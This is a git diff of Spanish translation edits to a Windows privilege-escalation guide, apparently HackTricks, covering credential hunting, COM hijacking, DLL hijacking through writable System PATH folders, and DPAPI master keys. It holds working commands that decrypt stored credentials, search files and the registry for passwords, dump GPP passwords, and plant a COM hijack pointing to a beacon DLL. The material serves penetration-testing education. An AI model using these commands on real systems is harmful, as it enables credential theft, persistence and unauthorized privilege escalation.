que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. +Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer: -```powershell +```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -816,7 +816,7 @@ Las personas a menudo utilizan la aplicación StickyNotes en estaciones de traba **Ten en cuenta que para recuperar contraseñas de AppCmd.exe necesitas ser Administrador y ejecutar bajo un nivel de alta integridad.**\ **AppCmd.exe** se encuentra en el directorio `%systemroot%\system32\inetsrv\` .\ -Si este archivo existe, entonces es posible que algunas **credenciales** hayan sido configuradas y puedan ser **recuperadas**. +Si este archivo existe, entonces es posible que algunas **credenciales** hayan sido configuradas y pueden ser **recuperadas**. Este código fue extraído de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -899,7 +899,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifique si `C:\Windows\CCM\SCClient.exe` existe.\ -Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Información de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -987,15 +987,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Busca un archivo llamado **SiteList.xml** +Busque un archivo llamado **SiteList.xml** ### Cached GPP Pasword -Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. +Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. -Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. +Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto de PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. -Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos: +Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ para estos archivos: - Groups.xml - Services.xml @@ -1014,16 +1014,16 @@ Usando crackmapexec para obtener las contraseñas: crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` ### IIS Web Config -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -```powershell +```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1169,7 +1169,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Historial de Navegadores -Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\ +Debes verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\ También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí. Herramientas para extraer contraseñas de navegadores: @@ -1183,9 +1183,9 @@ Herramientas para extraer contraseñas de navegadores: **Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software de diferentes lenguajes. Cada componente COM es **identificado a través de un ID de clase (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas por IDs de interfaz (IIDs). -Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** +Las clases e interfaces COM se definen en el registro bajo **HKEY\CLASSES\ROOT\CLSID** y **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral). +Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral). ![](<../../images/image (729).png>) @@ -1197,7 +1197,7 @@ Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo com-hijacking.md {{#endref}} -### **Búsqueda genérica de contraseñas en archivos y registro** +### **Búsqueda Genérica de Contraseñas en Archivos y Registro** **Buscar en el contenido de los archivos** ```bash @@ -1220,7 +1220,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Herramientas que buscan contraseñas -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un plugin de msf** que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un msf** plugin que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automáticamente todos los archivos que contienen contraseñas mencionadas en esta página.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) es otra gran herramienta para extraer contraseñas de un sistema. @@ -1231,29 +1231,33 @@ Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## Manejadores Filtrados +## Leaked Handlers Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\ Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\ -[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\ -[Lee esta **otra publicación para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## Suplantación de Cliente de Pipe Nombrado +## Named Pipe Client Impersonation Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos. -Windows proporciona una característica llamada **Pipes Nombrados**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de pipe nombrado** y **cliente de pipe nombrado**. +Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de named pipe** y **cliente de named pipe**. Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system). -Además, la siguiente herramienta permite **interceptar una comunicación de pipe nombrado con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Además, la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Varios +## Misc -### **Monitoreo de Líneas de Comando para contraseñas** +### File Extensions that could execute stuff in Windows -Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comando**. El script a continuación captura las líneas de comando de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia. -```powershell +Consulta la página **[https://filesec.io/](https://filesec.io/)** + +### **Monitoring Command Lines for passwords** + +Al obtener un shell como usuario, puede haber tareas programadas u otros procesos que se ejecutan y **pasan credenciales en la línea de comandos**. El script a continuación captura las líneas de comandos de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia. +```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine @@ -1314,70 +1318,73 @@ Tienes todos los archivos e información necesarios en el siguiente repositorio https://github.com/jas502n/CVE-2019-1388 -## De nivel de integridad medio de Administrador a alto / Bypass de UAC +## De Administrador a Nivel de Integridad Alto / Bypass de UAC -Lee esto para **aprender sobre los niveles de integridad**: +Lee esto para **aprender sobre Niveles de Integridad**: {{#ref}} integrity-levels.md {{#endref}} -Luego **lee esto para aprender sobre UAC y los bypass de UAC:** +Luego **lee esto para aprender sobre UAC y bypasses de UAC:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## **De alta integridad a sistema** +## **De Alta Integridad a Sistema** ### **Nuevo servicio** -Si ya estás ejecutando un proceso de alta integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**: +Si ya estás ejecutando un proceso de Alta Integridad, el **camino a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` +> [!NOTE] +> Al crear un binario de servicio, asegúrate de que sea un servicio válido o que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20 segundos si no es un servicio válido. + ### AlwaysInstallElevated -Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso usando un _**.msi**_ wrapper.\ +Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso utilizando un _**.msi**_ wrapper.\ [Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated) -### High + SeImpersonate privilege to System +### Privilegio High + SeImpersonate a System **Puedes** [**encontrar el código aquí**](seimpersonate-from-high-to-system.md)**.** -### From SeDebug + SeImpersonate to Full Token privileges +### De SeDebug + SeImpersonate a privilegios de token completo Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\ -Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\ +Usando esta técnica, generalmente se **selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos de SYSTEM sin todos los privilegios de token_).\ **Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe usando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ +Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\ Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\ Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ +Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\ **Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.** -### **From Administrator or Network Service to System** +### **De Administrador o Servicio de Red a System** -{{#ref}} -https://github.com/sailay1996/RpcSsImpersonator -{{#endref}} +- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) +- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) +- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### From LOCAL SERVICE or NETWORK SERVICE to full privs +### De SERVICIO LOCAL o SERVICIO DE RED a privilegios completos **Lee:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Más ayuda [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Herramientas útiles **Mejor herramienta para buscar vectores de escalada de privilegios locales en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) @@ -1389,11 +1396,11 @@ https://github.com/sailay1996/RpcSsImpersonator [**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rociar contraseñas recopiladas a través del dominio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED para Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de Admin)** **Exe** diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 65680f2a5..29e4fc634 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,13 +4,13 @@ ### Búsqueda de componentes COM inexistentes -Dado que los valores de HKCU pueden ser modificados por los usuarios, **COM Hijacking** podría ser utilizado como un **mecanismo persistente**. Usando `procmon` es fácil encontrar registros COM buscados que no existen y que un atacante podría crear para persistir. Filtros: +Dado que los valores de HKCU pueden ser modificados por los usuarios, **COM Hijacking** podría ser utilizado como un **mecanismo persistente**. Usando `procmon`, es fácil encontrar registros COM buscados que no existen y que un atacante podría crear para persistir. Filtros: - Operaciones de **RegOpenKey**. - donde el _Resultado_ es **NOMBRE NO ENCONTRADO**. - y el _Path_ termina con **InprocServer32**. -Una vez que hayas decidido qué COM inexistente impersonar, ejecuta los siguientes comandos. _Ten cuidado si decides impersonar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo._ +Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. _Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -51,7 +51,7 @@ Write-Host Al revisar la salida, puedes seleccionar una que se va a ejecutar **cada vez que un usuario inicie sesión**, por ejemplo. -Ahora, al buscar el CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** en **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y en HKLM y HKCU, generalmente encontrarás que el valor no existe en HKCU. +Ahora, buscando el CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** en **HKEY\CLASSES\ROOT\CLSID** y en HKLM y HKCU, generalmente encontrarás que el valor no existe en HKCU. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index b74c82f95..949c04ae4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -6,7 +6,7 @@ Si descubres que puedes **escribir en una carpeta de System Path** (ten en cuenta que esto no funcionará si puedes escribir en una carpeta de User Path), es posible que puedas **escalar privilegios** en el sistema. -Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando una Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarla desde el System Path donde puedes escribir. +Para hacer esto, puedes abusar de un **Dll Hijacking** donde vas a **secuestrar una biblioteca que está siendo cargada** por un servicio o proceso con **más privilegios** que los tuyos, y debido a que ese servicio está cargando un Dll que probablemente ni siquiera existe en todo el sistema, intentará cargarlo desde el System Path donde puedes escribir. Para más información sobre **qué es Dll Hijacking**, consulta: @@ -16,14 +16,14 @@ Para más información sobre **qué es Dll Hijacking**, consulta: ## Privesc con Dll Hijacking -### Encontrando una Dll faltante +### Encontrando un Dll faltante -Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar una Dll desde el System Path** en el que puedes escribir. +Lo primero que necesitas es **identificar un proceso** que se esté ejecutando con **más privilegios** que tú y que esté intentando **cargar un Dll desde el System Path** en el que puedes escribir. -El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar Dlls faltantes, haz lo siguiente: +El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan en los servicios, necesitas lanzar procmon lo antes posible (antes de que se carguen los procesos). Así que, para encontrar Dlls faltantes, haz lo siguiente: - **Crea** la carpeta `C:\privesc_hijacking` y agrega la ruta `C:\privesc_hijacking` a la **variable de entorno System Path**. Puedes hacer esto **manualmente** o con **PS**: -```powershell +```bash # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" @@ -39,10 +39,10 @@ $newPath = "$envPath;$folderPath" [Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine") } ``` -- Inicie **`procmon`** y vaya a **`Options`** --> **`Enable boot logging`** y presione **`OK`** en el aviso. +- Inicie **`procmon`** y vaya a **`Opciones`** --> **`Habilitar registro de arranque`** y presione **`Aceptar`** en el aviso. - Luego, **reinicie**. Cuando la computadora se reinicie, **`procmon`** comenzará a **grabar** eventos lo antes posible. - Una vez que **Windows** esté **iniciado, ejecute `procmon`** nuevamente, le dirá que ha estado funcionando y le **preguntará si desea almacenar** los eventos en un archivo. Diga **sí** y **almacene los eventos en un archivo**. -- **Después** de que se **genere el archivo**, **cierre** la ventana de **`procmon`** abierta y **abra el archivo de eventos**. +- **Después** de que se **genere** el **archivo**, **cierre** la ventana de **`procmon`** abierta y **abra el archivo de eventos**. - Agregue estos **filtros** y encontrará todos los Dlls que algún **proceso intentó cargar** desde la carpeta de System Path escribible:
@@ -55,11 +55,11 @@ Ejecutando esto en una **máquina virtual (vmware) Windows 11** gratuita, obtuve En este caso, los .exe son inútiles, así que ignórelos, los DLLs perdidos eran de: -| Servicio | Dll | Línea de CMD | -| ------------------------------- | ------------------ | ------------------------------------------------------------------ | -| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | +| Servicio | Dll | Línea de CMD | +| ------------------------------- | ------------------ | -------------------------------------------------------------------- | +| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | | Servicio de política de diagnóstico (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | -| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | +| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Que es lo que **vamos a hacer ahora**. @@ -67,7 +67,7 @@ Después de encontrar esto, encontré esta interesante publicación de blog que Entonces, para **escalar privilegios**, vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre**, solo necesitamos **generar el dll malicioso**. -Puede [**intentar usar cualquiera de estos ejemplos**](./#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener un rev shell, agregar un usuario, ejecutar un beacon... +Puede [**intentar usar cualquiera de estos ejemplos**](#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener un rev shell, agregar un usuario, ejecutar un beacon... > [!WARNING] > Tenga en cuenta que **no todos los servicios se ejecutan** con **`NT AUTHORITY\SYSTEM`**, algunos también se ejecutan con **`NT AUTHORITY\LOCAL SERVICE`**, que tiene **menos privilegios** y **no podrá crear un nuevo usuario** abusando de sus permisos.\ diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index e9058c475..a557c25f6 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -8,17 +8,107 @@ La API de Protección de Datos (DPAPI) se utiliza principalmente dentro del sistema operativo Windows para la **cifrado simétrico de claves privadas asimétricas**, aprovechando secretos de usuario o del sistema como una fuente significativa de entropía. Este enfoque simplifica el cifrado para los desarrolladores al permitirles cifrar datos utilizando una clave derivada de los secretos de inicio de sesión del usuario o, para el cifrado del sistema, los secretos de autenticación del dominio del sistema, eliminando así la necesidad de que los desarrolladores gestionen la protección de la clave de cifrado ellos mismos. -### Datos Protegidos por DPAPI +La forma más común de usar DPAPI es a través de las funciones **`CryptProtectData` y `CryptUnprotectData`**, que permiten a las aplicaciones cifrar y descifrar datos de manera segura con la sesión del proceso que actualmente ha iniciado sesión. Esto significa que los datos cifrados solo pueden ser descifrados por el mismo usuario o sistema que los cifró. + +Además, estas funciones también aceptan un **parámetro `entropy`** que también se utilizará durante el cifrado y descifrado, por lo tanto, para descifrar algo cifrado utilizando este parámetro, debes proporcionar el mismo valor de entropía que se utilizó durante el cifrado. + +### Generación de claves de usuario + +DPAPI genera una clave única (llamada **`pre-key`**) para cada usuario basada en sus credenciales. Esta clave se deriva de la contraseña del usuario y otros factores, y el algoritmo depende del tipo de usuario, pero termina siendo un SHA1. Por ejemplo, para usuarios de dominio, **depende del hash HTLM del usuario**. + +Esto es especialmente interesante porque si un atacante puede obtener el hash de la contraseña del usuario, puede: + +- **Descifrar cualquier dato que fue cifrado utilizando DPAPI** con la clave de ese usuario sin necesidad de contactar ninguna API. +- Intentar **romper la contraseña** fuera de línea tratando de generar la clave DPAPI válida. + +Además, cada vez que un usuario cifra algunos datos utilizando DPAPI, se genera una nueva **clave maestra**. Esta clave maestra es la que se utiliza realmente para cifrar datos. Cada clave maestra se proporciona con un **GUID** (Identificador Único Global) que la identifica. + +Las claves maestras se almacenan en el directorio **`%APPDATA%\Microsoft\Protect\\`**, donde `{SID}` es el Identificador de Seguridad de ese usuario. La clave maestra se almacena cifrada por el **`pre-key`** del usuario y también por una **clave de respaldo de dominio** para recuperación (por lo que la misma clave se almacena cifrada 2 veces por 2 contraseñas diferentes). + +Ten en cuenta que la **clave de dominio utilizada para cifrar la clave maestra está en los controladores de dominio y nunca cambia**, por lo que si un atacante tiene acceso al controlador de dominio, puede recuperar la clave de respaldo de dominio y descifrar las claves maestras de todos los usuarios en el dominio. + +Los blobs cifrados contienen el **GUID de la clave maestra** que se utilizó para cifrar los datos dentro de sus encabezados. + +> [!NOTE] +> Los blobs cifrados por DPAPI comienzan con **`01 00 00 00`** + +Encontrar claves maestras: +```bash +Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ +Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect +Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\ +Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\ +Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} +Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} +``` +Esto es lo que un montón de Master Keys de un usuario se verá: + +![](<../../images/image (1121).png>) + +### Generación de claves de máquina/sistema + +Esta es la clave utilizada por la máquina para cifrar datos. Se basa en el **DPAPI_SYSTEM LSA secret**, que es una 